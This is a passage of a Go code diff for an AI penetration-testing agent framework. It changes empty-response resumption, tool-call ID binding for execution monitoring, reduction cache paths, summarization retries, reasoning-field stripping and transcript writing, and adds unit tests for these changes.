+	if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
+		if logger != nil {
+			logger.Info("eino empty response, ending run segment for handler resume",
+				zap.String("conversationId", conversationID),
+				zap.String("orchestration", orchMode),
+				zap.Int("traceMessages", len(runAccumulatedMsgs)))
+		}
+		if progress != nil {
+			progress("eino_empty_response_continue", "会话已结束但未产生助手正文，正在基于轨迹自动续跑…", map[string]interface{}{
+				"conversationId": conversationID,
+				"source":         "eino",
+				"resumeKind":     "trace_segment",
+			})
+		}
+		return out, ErrEmptyResponseContinue
+	}
 	return out, nil
 }
 
+func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
+	if out == nil || accumulatedLen <= baseCount {
+		return false
+	}
+	return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
+}
+
 func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
 	if args != nil && args.ModelFacingTrace != nil {
 		if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {

internal/multiagent/eino_empty_response_test.go

@@ -0,0 +1,21 @@
+package multiagent
+
+import "testing"
+
+func TestShouldEinoEmptyResponseContinue(t *testing.T) {
+	t.Parallel()
+	hint := "(empty hint)"
+	out := &RunResult{Response: hint}
+	if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
+		t.Fatal("expected continue when response is empty hint and trace grew")
+	}
+	if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
+		t.Fatal("expected no continue when trace did not grow")
+	}
+	if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
+		t.Fatal("expected no continue when response has content")
+	}
+	if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
+		t.Fatal("expected no continue for nil result")
+	}
+}

internal/multiagent/eino_execute_monitor.go

@@ -9,8 +9,8 @@ import (
 
 // newEinoExecuteMonitorCallback 在 Eino filesystem execute 结束时写入 MCP 监控库并 recorder(executionId)，
 // 与 CallTool 路径一致，供助手消息展示「渗透测试详情」芯片。
-func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(command, stdout string, success bool, invokeErr error) {
-	return func(command, stdout string, success bool, invokeErr error) {
+func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(toolCallID, command, stdout string, success bool, invokeErr error) {
+	return func(toolCallID, command, stdout string, success bool, invokeErr error) {
 		if ag == nil || recorder == nil {
 			return
 		}
@@ -25,7 +25,7 @@ func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRe
 		args := map[string]interface{}{"command": command}
 		id := ag.RecordLocalToolExecution("execute", args, stdout, err)
 		if id != "" {
-			recorder(id)
+			recorder(id, toolCallID)
 		}
 	}
 }

internal/multiagent/eino_execute_streaming_wrap.go

@@ -53,7 +53,7 @@ type einoStreamingShellWrap struct {
 	// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐；>0 时对单次 execute 套用 context 超时（与 MCP 工具经 executeToolViaMCP 行为一致）。0 表示仅依赖上层 ctx（如整任务 10h 上限）。
 	toolTimeoutMinutes int
 	// recordMonitor 在 execute 流结束后写入 tool_executions 并 recorder(executionId)，使「渗透测试详情」与常规 MCP 一致。
-	recordMonitor func(command, stdout string, success bool, invokeErr error)
+	recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error)
 }
 
 func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
@@ -84,7 +84,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 			execCancel()
 		}
 		if w.recordMonitor != nil {
-			w.recordMonitor(userCmd, "", false, err)
+			w.recordMonitor(tid, userCmd, "", false, err)
 		}
 		if w.invokeNotify != nil && tid != "" {
 			w.invokeNotify.Fire(tid, "execute", agentTag, false, "", err)
@@ -107,7 +107,6 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 		}
 
 		var sb strings.Builder
-		const maxCapture = 16 * 1024
 		success := true
 		var invokeErr error
 		exitCode := 0
@@ -130,15 +129,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 					exitCode = *resp.ExitCode
 				}
 				var appended string
-				if remain := maxCapture - sb.Len(); remain > 0 {
-					out := resp.Output
-					if len(out) > remain {
-						out = out[:remain]
-					}
-					sb.WriteString(out)
-					appended = out
+				if resp.Output != "" {
+					sb.WriteString(resp.Output)
+					appended = resp.Output
 				}
-				// 仅推送写入 sb 的片段，与末尾 Fire/recordMonitor 的截断累计一致，避免最终 tool_result 短于已展示增量。
 				if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
 					w.outputChunk("execute", tid, appended)
 				}
@@ -167,16 +161,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
 			if w.outputChunk != nil && tid != "" {
 				w.outputChunk("execute", tid, hint)
 			}
-			if remain := maxCapture - sb.Len(); remain > 0 {
-				h := hint
-				if len(h) > remain {
-					h = h[:remain]
-				}
-				sb.WriteString(h)
-			}
+			sb.WriteString(hint)
 		}
 		if w.recordMonitor != nil {
-			w.recordMonitor(command, sb.String(), success, invokeErr)
+			w.recordMonitor(tid, command, sb.String(), success, invokeErr)
 		}
 		w.invokeNotify.Fire(tid, "execute", agentTag, success, sb.String(), invokeErr)
 		outW.Close()

internal/multiagent/eino_filesystem_tool_monitor.go

@@ -96,6 +96,6 @@ func recordEinoADKFilesystemToolMonitor(
 	}
 	id := ag.RecordLocalToolExecution(storedName, args, resultText, invErr)
 	if id != "" {
-		rec(id)
+		rec(id, toolCallID)
 	}
 }

internal/multiagent/eino_middleware.go

@@ -43,22 +43,6 @@ func sanitizeEinoPathSegment(s string) string {
 	return s
 }
 
-// localPlantaskBackend wraps the eino-ext local backend with plantask.Delete (Local has no Delete).
-type localPlantaskBackend struct {
-	*localbk.Local
-}
-
-func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
-	if l == nil || l.Local == nil || req == nil {
-		return nil
-	}
-	p := strings.TrimSpace(req.FilePath)
-	if p == "" {
-		return nil
-	}
-	return os.Remove(p)
-}
-
 func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
 	if alwaysVisible <= 0 || len(all) <= alwaysVisible+1 {
 		return all, nil, false
@@ -67,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
 }
 
 func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
-	nameSet := make(map[string]struct{}, len(names))
-	for _, n := range names {
-		n = strings.TrimSpace(strings.ToLower(n))
-		if n == "" {
-			continue
-		}
-		nameSet[n] = struct{}{}
-	}
+	nameSet := expandAlwaysVisibleNameSet(names)
 	if len(nameSet) == 0 {
 		return splitToolsForToolSearch(all, fallbackAlwaysVisible)
 	}
@@ -87,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
 		info, err := t.Info(context.Background())
 		name := ""
 		if err == nil && info != nil {
-			name = strings.TrimSpace(strings.ToLower(info.Name))
+			name = info.Name
 		}
-		if _, keep := nameSet[name]; keep {
+		if toolMatchesAlwaysVisible(name, nameSet) {
 			static = append(static, t)
 			continue
 		}
@@ -126,14 +103,26 @@ func mergeAlwaysVisibleToolNames(configured []string) []string {
 	return merged
 }
 
-func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
+func reductionCacheRootDir(configuredBase, projectID, conversationID string) string {
+	base := strings.TrimSpace(configuredBase)
+	if base == "" {
+		base = filepath.Join("tmp", "reduction")
+	}
+	if pid := strings.TrimSpace(projectID); pid != "" {
+		return filepath.Join(base, "projects", sanitizeEinoPathSegment(pid))
+	}
+	conv := strings.TrimSpace(conversationID)
+	if conv == "" {
+		conv = "default"
+	}
+	return filepath.Join(base, "conversations", sanitizeEinoPathSegment(conv))
+}
+
+func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, projectID, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
 	if loc == nil {
 		return nil, fmt.Errorf("reduction: local backend nil")
 	}
-	root := strings.TrimSpace(mw.ReductionRootDir)
-	if root == "" {
-		root = filepath.Join(os.TempDir(), "cyberstrike-reduction", sanitizeEinoPathSegment(convID))
-	}
+	root := reductionCacheRootDir(mw.ReductionRootDir, projectID, convID)
 	if err := os.MkdirAll(root, 0o755); err != nil {
 		return nil, fmt.Errorf("reduction root: %w", err)
 	}
@@ -171,6 +160,7 @@ func prependEinoMiddlewares(
 	einoLoc *localbk.Local,
 	skillsRoot string,
 	conversationID string,
+	projectID string,
 	logger *zap.Logger,
 ) (outTools []tool.BaseTool, extraHandlers []adk.ChatModelAgentMiddleware, toolSearchActive bool, err error) {
 	if mw == nil {
@@ -190,7 +180,7 @@ func prependEinoMiddlewares(
 		if place == einoMWSub && !mw.ReductionSubAgents {
 			// skip
 		} else {
-			redMW, rerr := buildReductionMiddleware(ctx, *mw, conversationID, einoLoc, logger)
+			redMW, rerr := buildReductionMiddleware(ctx, *mw, projectID, conversationID, einoLoc, logger)
 			if rerr != nil {
 				return nil, nil, false, rerr
 			}
@@ -238,7 +228,7 @@ func prependEinoMiddlewares(
 			if mk := os.MkdirAll(baseDir, 0o755); mk != nil {
 				return nil, nil, toolSearchActive, fmt.Errorf("plantask mkdir: %w", mk)
 			}
-			ptBE := &localPlantaskBackend{Local: einoLoc}
+			ptBE := newLocalPlantaskBackend(einoLoc)
 			pt, perr := plantask.New(ctx, &plantask.Config{Backend: ptBE, BaseDir: baseDir})
 			if perr != nil {
 				return nil, nil, toolSearchActive, fmt.Errorf("plantask: %w", perr)

internal/multiagent/eino_middleware_test.go

@@ -3,12 +3,31 @@ package multiagent
 import (
 	"context"
 	"fmt"
+	"path/filepath"
+	"strings"
 	"testing"
 
 	"github.com/cloudwego/eino/components/tool"
 	"github.com/cloudwego/eino/schema"
 )
 
+func TestReductionCacheRootDir(t *testing.T) {
+	got := reductionCacheRootDir("", "proj-1", "conv-1")
+	want := filepath.Join("tmp", "reduction", "projects", "proj-1")
+	if got != want {
+		t.Fatalf("project scope: got %q want %q", got, want)
+	}
+	got = reductionCacheRootDir("", "", "conv-abc")
+	want = filepath.Join("tmp", "reduction", "conversations", "conv-abc")
+	if got != want {
+		t.Fatalf("conversation scope: got %q want %q", got, want)
+	}
+	custom := reductionCacheRootDir("/data/cache", "p1", "c1")
+	if !strings.HasSuffix(custom, filepath.Join("projects", "p1")) {
+		t.Fatalf("custom base should still scope by project, got %q", custom)
+	}
+}
+
 type stubTool struct{ name string }
 
 func (s stubTool) Info(_ context.Context) (*schema.ToolInfo, error) {

internal/multiagent/eino_single_runner.go

@@ -34,6 +34,7 @@ func RunEinoSingleChatModelAgent(
 	ag *agent.Agent,
 	logger *zap.Logger,
 	conversationID string,
+	projectID string,
 	userMessage string,
 	history []agent.ChatMessage,
 	roleTools []string,
@@ -58,10 +59,12 @@ func RunEinoSingleChatModelAgent(
 
 	var mcpIDsMu sync.Mutex
 	var mcpIDs []string
-	recorder := func(id string) {
+	mcpExecBinder := NewMCPExecutionBinder()
+	recorder := func(id, toolCallID string) {
 		if id == "" {
 			return
 		}
+		mcpExecBinder.Bind(toolCallID, id)
 		mcpIDsMu.Lock()
 		mcpIDs = append(mcpIDs, id)
 		mcpIDsMu.Unlock()
@@ -75,29 +78,15 @@ func RunEinoSingleChatModelAgent(
 		return out
 	}
 
-	toolOutputChunk := func(toolName, toolCallID, chunk string) {
-		if progress == nil || toolCallID == "" {
-			return
-		}
-		progress("tool_result_delta", chunk, map[string]interface{}{
-			"toolName":   toolName,
-			"toolCallId": toolCallID,
-			"index":      0,
-			"total":      0,
-			"iteration":  0,
-			"source":     "eino",
-		})
-	}
-
 	toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
 	einoExecMonitor := newEinoExecuteMonitorCallback(ag, recorder)
 	mainDefs := ag.ToolsForRole(roleTools)
-	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, einoSingleAgentName)
+	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
 	if err != nil {
 		return nil, err
 	}
 
-	mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger)
+	mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
 	if err != nil {
 		return nil, fmt.Errorf("eino single eino 中间件: %w", err)
 	}
@@ -117,6 +106,7 @@ func RunEinoSingleChatModelAgent(
 		},
 	}
 	httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
+	openai.AttachSummarizationDiagTransport(httpClient, logger)
 
 	baseModelCfg := &einoopenai.ChatModelConfig{
 		APIKey:     appCfg.OpenAI.APIKey,
@@ -144,7 +134,7 @@ func RunEinoSingleChatModelAgent(
 	}
 	if einoSkillMW != nil {
 		if einoFSTools && einoLoc != nil {
-			fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
+			fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
 			if fsErr != nil {
 				return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
 			}
@@ -160,13 +150,7 @@ func RunEinoSingleChatModelAgent(
 		handlers = append(handlers, capMw)
 	}
 
-	maxIter := ma.MaxIteration
-	if maxIter <= 0 {
-		maxIter = appCfg.Agent.MaxIterations
-	}
-	if maxIter <= 0 {
-		maxIter = 40
-	}
+	maxIter := agentMaxIterations(appCfg)
 
 	mainToolsCfg := adk.ToolsConfig{
 		ToolsNodeConfig: compose.ToolsNodeConfig{
@@ -242,6 +226,7 @@ func RunEinoSingleChatModelAgent(
 		McpIDs:                  &mcpIDs,
 		FilesystemMonitorAgent:  ag,
 		FilesystemMonitorRecord: recorder,
+		MCPExecutionBinder:      mcpExecBinder,
 		ToolInvokeNotify:        toolInvokeNotify,
 		DA:                      chatAgent,
 		ModelFacingTrace:        modelFacingTrace,

internal/multiagent/eino_skills.go

@@ -81,7 +81,7 @@ func subAgentFilesystemMiddleware(
 	loc *localbk.Local,
 	invokeNotify *einomcp.ToolInvokeNotifyHolder,
 	einoAgentName string,
-	recordMonitor func(command, stdout string, success bool, invokeErr error),
+	recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error),
 	toolTimeoutMinutes int,
 	outputChunk func(toolName, toolCallID, chunk string),
 ) (adk.ChatModelAgentMiddleware, error) {

internal/multiagent/eino_summarize.go

@@ -9,15 +9,19 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/config"
+	copenai "cyberstrike-ai/internal/openai"
 
 	"github.com/bytedance/sonic"
 	"github.com/cloudwego/eino/adk"
 	"github.com/cloudwego/eino/adk/middlewares/summarization"
 	"github.com/cloudwego/eino/components/model"
 	"github.com/cloudwego/eino/schema"
+	einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
 	"go.uber.org/zap"
 )
 
+const defaultSummarizationRetryMax = 3
+
 // einoSummarizeUserInstruction：压缩历史时保留渗透测试关键信息。
 const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
 
@@ -89,8 +93,32 @@ func newEinoSummarizationMiddleware(
 		}
 	}
 
+	retryMax := defaultSummarizationRetryMax
+	if mwCfg != nil && mwCfg.SummarizationRetryMaxAttempts > 0 {
+		retryMax = mwCfg.SummarizationRetryMaxAttempts
+	}
+
+	// ModelOptions apply only to summarization Generate (same ChatModel instance as the agent).
+	// Strip thinking/reasoning on this call path; mark requests for empty-choices diagnostics.
+	summaryModelOpts := []model.Option{
+		einoopenai.WithExtraHeader(map[string]string{
+			copenai.SummarizationRequestHeader: "1",
+		}),
+		einoopenai.WithRequestPayloadModifier(func(_ context.Context, in []*schema.Message, rawBody []byte) ([]byte, error) {
+			if logger != nil {
+				logger.Info("eino summarization generate request",
+					zap.Int("input_messages", len(in)),
+					zap.Int("payload_bytes", len(rawBody)),
+					zap.String("model", modelName),
+				)
+			}
+			return stripReasoningFromSummarizationPayload(rawBody)
+		}),
+	}
+
 	mw, err := summarization.New(ctx, &summarization.Config{
-		Model: summaryModel,
+		Model:        summaryModel,
+		ModelOptions: summaryModelOpts,
 		Trigger: &summarization.TriggerCondition{
 			ContextTokens: trigger,
 		},
@@ -102,24 +130,43 @@ func newEinoSummarizationMiddleware(
 			Enabled:   true,
 			MaxTokens: preserveMax,
 		},
+		Retry: &summarization.RetryConfig{
+			MaxRetries: &retryMax,
+			ShouldRetry: func(_ context.Context, _ adk.Message, err error) bool {
+				if err != nil && logger != nil {
+					logger.Warn("eino summarization generate attempt failed, will retry if attempts remain",
+						zap.Error(err),
+						zap.Int("max_retries", retryMax),
+					)
+				}
+				return err != nil
+			},
+		},
 		Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
 			return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
 		},
 		Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
-			if logger == nil {
-				return nil
+			if transcriptPath != "" && len(before.Messages) > 0 {
+				if werr := writeSummarizationTranscript(transcriptPath, before.Messages); werr != nil && logger != nil {
+					logger.Warn("eino summarization transcript 写入失败",
+						zap.String("path", transcriptPath),
+						zap.Error(werr),
+					)
+				}
+			}
+			if logger != nil {
+				beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
+				afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
+				logger.Info("eino summarization 已压缩上下文",
+					zap.Int("messages_before", len(before.Messages)),
+					zap.Int("messages_after", len(after.Messages)),
+					zap.Int("tokens_before_estimated", beforeTokens),
+					zap.Int("tokens_after_estimated", afterTokens),
+					zap.Int("max_total_tokens", maxTotal),
+					zap.Int("trigger_context_tokens", trigger),
+					zap.String("transcript_file", transcriptPath),
+				)
 			}
-			beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
-			afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
-			logger.Info("eino summarization 已压缩上下文",
-				zap.Int("messages_before", len(before.Messages)),
-				zap.Int("messages_after", len(after.Messages)),
-				zap.Int("tokens_before_estimated", beforeTokens),
-				zap.Int("tokens_after_estimated", afterTokens),
-				zap.Int("max_total_tokens", maxTotal),
-				zap.Int("trigger_context_tokens", trigger),
-				zap.String("transcript_file", transcriptPath),
-			)
 			return nil
 		},
 	})
@@ -295,6 +342,23 @@ func splitMessagesIntoRounds(msgs []adk.Message) []messageRound {
 	return rounds
 }
 
+// writeSummarizationTranscript persists pre-compaction history for read_file after summarization.
+// Eino TranscriptFilePath only embeds the path in summary text; the file must be written by the host app.
+func writeSummarizationTranscript(path string, msgs []adk.Message) error {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return nil
+	}
+	body := formatSummarizationTranscript(msgs)
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return fmt.Errorf("mkdir transcript dir: %w", err)
+	}
+	if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
+		return fmt.Errorf("write transcript: %w", err)
+	}
+	return nil
+}
+
 func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
 	tc := agent.NewTikTokenCounter()
 	return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {

internal/multiagent/eino_summarize_payload.go

@@ -0,0 +1,35 @@
+package multiagent
+
+import (
+	"github.com/bytedance/sonic"
+)
+
+// stripReasoningFromSummarizationPayload removes thinking / reasoning fields from a
+// chat-completions JSON body. Applied only to summarization Generate calls via
+// model.ModelOptions on the shared ChatModel — main-agent requests are unchanged.
+func stripReasoningFromSummarizationPayload(rawBody []byte) ([]byte, error) {
+	var payload map[string]any
+	if err := sonic.Unmarshal(rawBody, &payload); err != nil {
+		return rawBody, nil
+	}
+	changed := false
+	for _, key := range []string{
+		"thinking",
+		"reasoning_effort",
+		"output_config",
+		"reasoning",
+	} {
+		if _, ok := payload[key]; ok {
+			delete(payload, key)
+			changed = true
+		}
+	}
+	if !changed {
+		return rawBody, nil
+	}
+	out, err := sonic.Marshal(payload)
+	if err != nil {
+		return rawBody, err
+	}
+	return out, nil
+}

internal/multiagent/eino_summarize_payload_test.go

@@ -0,0 +1,30 @@
+package multiagent
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestStripReasoningFromSummarizationPayload(t *testing.T) {
+	in := []byte(`{"model":"deepseek-chat","messages":[],"thinking":{"type":"enabled"},"reasoning_effort":"high"}`)
+	out, err := stripReasoningFromSummarizationPayload(in)
+	if err != nil {
+		t.Fatal(err)
+	}
+	s := string(out)
+	if strings.Contains(s, "thinking") || strings.Contains(s, "reasoning_effort") {
+		t.Fatalf("expected reasoning fields stripped, got %s", s)
+	}
+	if !strings.Contains(s, `"model":"deepseek-chat"`) {
+		t.Fatalf("expected model preserved, got %s", s)
+	}
+
+	plain := []byte(`{"model":"gpt-4o","messages":[]}`)
+	out2, err := stripReasoningFromSummarizationPayload(plain)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(out2) != string(plain) {
+		t.Fatalf("expected unchanged payload, got %s", out2)
+	}
+}

internal/multiagent/eino_summarize_test.go

@@ -2,6 +2,9 @@ package multiagent
 
 import (
 	"context"
+	"os"
+	"path/filepath"
+	"strings"
 	"testing"
 
 	"github.com/cloudwego/eino/adk"
@@ -343,3 +346,91 @@ func assertNoOrphanTool(t *testing.T, msgs []adk.Message) {
 		}
 	}
 }
+
+func TestWriteSummarizationTranscript(t *testing.T) {
+	t.Parallel()
+	dir := t.TempDir()
+	path := filepath.Join(dir, "summarization", "transcript.txt")
+	msgs := []adk.Message{
+		schema.UserMessage("scan target"),
+		assistantToolCallsMsg("", "tc1"),
+		schema.ToolMessage("nmap output", "tc1"),
+	}
+	if err := writeSummarizationTranscript(path, msgs); err != nil {
+		t.Fatalf("writeSummarizationTranscript: %v", err)
+	}
+	body, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("read transcript: %v", err)
+	}
+	text := string(body)
+	if !strings.Contains(text, "Pre-compaction session record") {
+		t.Fatalf("missing transcript header: %q", text)
+	}
+	if !strings.Contains(text, "[user]") || !strings.Contains(text, "scan target") {
+		t.Fatalf("missing user section: %q", text)
+	}
+	if !strings.Contains(text, "tool_calls:") || !strings.Contains(text, "nmap output") {
+		t.Fatalf("missing tool round: %q", text)
+	}
+}
+
+func TestSanitizeSystemContentForTranscript_BestPractice(t *testing.T) {
+	t.Parallel()
+	system := strings.Join([]string{
+		"以下是当前会话绑定的工具名称索引（仅名称，无参数 JSON Schema）。",
+		"- nmap",
+		"- nuclei",
+		"",
+		"使用规则：",
+		"1) 上表仅为名称索引",
+		"5) 不要臆造不存在的工具名。",
+		"",
+		"你是CyberStrikeAI，是一个专业的网络安全渗透测试专家。",
+		"高强度扫描要求：全力出击",
+		"",
+		"## 项目黑板索引（project: 123, id: abc）",
+		"（暂无事实）",
+		"需要写入请使用 upsert_project_fact。",
+		"",
+		"# Skills System",
+		"**How to Use Skills**",
+		"Remember: Skills make you more capable",
+	}, "\n")
+
+	out := sanitizeSystemContentForTranscript(system)
+	if strings.Contains(out, "以下是当前会话绑定的工具名称索引") {
+		t.Fatalf("tool index should be stripped: %q", out)
+	}
+	if strings.Contains(out, "- nmap") || strings.Contains(out, "高强度扫描要求") {
+		t.Fatalf("static persona should be stripped: %q", out)
+	}
+	if strings.Contains(out, "# Skills System") || strings.Contains(out, "How to Use Skills") {
+		t.Fatalf("skills boilerplate should be stripped: %q", out)
+	}
+	if !strings.Contains(out, transcriptStaticSystemOmitNote) {
+		t.Fatalf("missing omission note: %q", out)
+	}
+	if !strings.Contains(out, "## 项目黑板索引（project: 123, id: abc）") {
+		t.Fatalf("project blackboard should be kept: %q", out)
+	}
+}
+
+func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) {
+	t.Parallel()
+	msgs := []adk.Message{
+		schema.SystemMessage("以下是当前会话绑定的工具名称索引\n- nmap\n\n你是CyberStrikeAI\n## 项目黑板索引（project: p1, id: x）\n（暂无事实）\n# Skills System\nboiler"),
+		schema.UserMessage("hello"),
+		schema.AssistantMessage("reply", nil),
+	}
+	out := formatSummarizationTranscript(msgs)
+	if strings.Contains(out, "- nmap") {
+		t.Fatalf("tool list leaked into transcript: %q", out)
+	}
+	if !strings.Contains(out, "hello") || !strings.Contains(out, "reply") {
+		t.Fatalf("conversation turns missing: %q", out)
+	}
+	if !strings.Contains(out, "## 项目黑板索引（project: p1, id: x）") {
+		t.Fatalf("dynamic blackboard missing: %q", out)
+	}
+}

internal/multiagent/eino_summarize_transcript.go

@@ -0,0 +1,145 @@
+package multiagent
+
+import (
+	"strings"
+
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/schema"
+
+	"github.com/bytedance/sonic"
+)
+
+const (
+	transcriptFileHeader = `# CyberStrikeAI summarization transcript
+# Pre-compaction session record for read_file after context compression.
+# Omits static system/tool-index/skills boilerplate; full user/assistant/tool turns below.
+
+`
+	transcriptStaticSystemOmitNote = "[static system prompt omitted — unchanged in live context after compaction]"
+	transcriptToolIndexStartMarker   = "以下是当前会话绑定的工具名称索引"
+	transcriptPersonaStartMarker     = "你是CyberStrikeAI"
+	transcriptSkillsSystemMarker     = "# Skills System"
+	transcriptProjectBlackboardMarker  = "## 项目黑板索引"
+)
+
+// formatSummarizationTranscript renders pre-compaction messages for transcript.txt.
+// Best practice: keep full user/assistant/tool turns; slim system to dynamic blocks only.
+func formatSummarizationTranscript(msgs []adk.Message) string {
+	var sb strings.Builder
+	sb.WriteString(transcriptFileHeader)
+	wrote := false
+	for _, msg := range msgs {
+		if msg == nil {
+			continue
+		}
+		switch msg.Role {
+		case schema.System:
+			body := sanitizeSystemContentForTranscript(msg.Content)
+			if strings.TrimSpace(body) == "" {
+				continue
+			}
+			if wrote {
+				sb.WriteString("\n")
+			}
+			appendTranscriptSection(&sb, schema.System, body)
+			wrote = true
+		default:
+			if wrote {
+				sb.WriteString("\n")
+			}
+			appendTranscriptMessage(&sb, msg)
+			wrote = true
+		}
+	}
+	return sb.String()
+}
+
+func sanitizeSystemContentForTranscript(content string) string {
+	content = stripToolNamesIndexFromSystem(content)
+	content = stripSkillsSystemBoilerplate(content)
+	blackboard := extractProjectBlackboardSection(content)
+
+	var sb strings.Builder
+	sb.WriteString(transcriptStaticSystemOmitNote)
+	if bb := strings.TrimSpace(blackboard); bb != "" {
+		sb.WriteString("\n\n")
+		sb.WriteString(bb)
+	}
+	return sb.String()
+}
+
+func stripToolNamesIndexFromSystem(s string) string {
+	if !strings.Contains(s, transcriptToolIndexStartMarker) {
+		return s
+	}
+	idx := strings.Index(s, transcriptPersonaStartMarker)
+	if idx < 0 {
+		return s
+	}
+	return strings.TrimSpace(s[idx:])
+}
+
+func stripSkillsSystemBoilerplate(s string) string {
+	idx := strings.Index(s, transcriptSkillsSystemMarker)
+	if idx < 0 {
+		return strings.TrimSpace(s)
+	}
+	return strings.TrimSpace(s[:idx])
+}
+
+func extractProjectBlackboardSection(s string) string {
+	idx := strings.Index(s, transcriptProjectBlackboardMarker)
+	if idx < 0 {
+		return ""
+	}
+	return strings.TrimSpace(s[idx:])
+}
+
+func appendTranscriptSection(sb *strings.Builder, role schema.RoleType, body string) {
+	sb.WriteString("--- [")
+	sb.WriteString(string(role))
+	sb.WriteString("] ---\n")
+	sb.WriteString(body)
+	if !strings.HasSuffix(body, "\n") {
+		sb.WriteByte('\n')
+	}
+}
+
+func appendTranscriptMessage(sb *strings.Builder, msg adk.Message) {
+	sb.WriteString("--- [")
+	sb.WriteString(string(msg.Role))
+	sb.WriteString("] ---\n")
+	if msg.Content != "" {
+		sb.WriteString(msg.Content)
+		if !strings.HasSuffix(msg.Content, "\n") {
+			sb.WriteByte('\n')
+		}
+	}
+	if msg.ReasoningContent != "" {
+		sb.WriteString("[reasoning]\n")
+		sb.WriteString(msg.ReasoningContent)
+		if !strings.HasSuffix(msg.ReasoningContent, "\n") {
+			sb.WriteByte('\n')
+		}
+	}
+	for _, part := range msg.UserInputMultiContent {
+		if part.Type == schema.ChatMessagePartTypeText && strings.TrimSpace(part.Text) != "" {
+			sb.WriteString(part.Text)
+			if !strings.HasSuffix(part.Text, "\n") {
+				sb.WriteByte('\n')
+			}
+		}
+	}
+	if len(msg.ToolCalls) > 0 {
+		if b, err := sonic.Marshal(msg.ToolCalls); err == nil {
+			sb.WriteString("tool_calls: ")
+			sb.Write(b)
+			sb.WriteByte('\n')
+		}
+	}
+	if msg.ToolCallID != "" {
+		sb.WriteString("tool_call_id: ")
+		sb.WriteString(msg.ToolCallID)
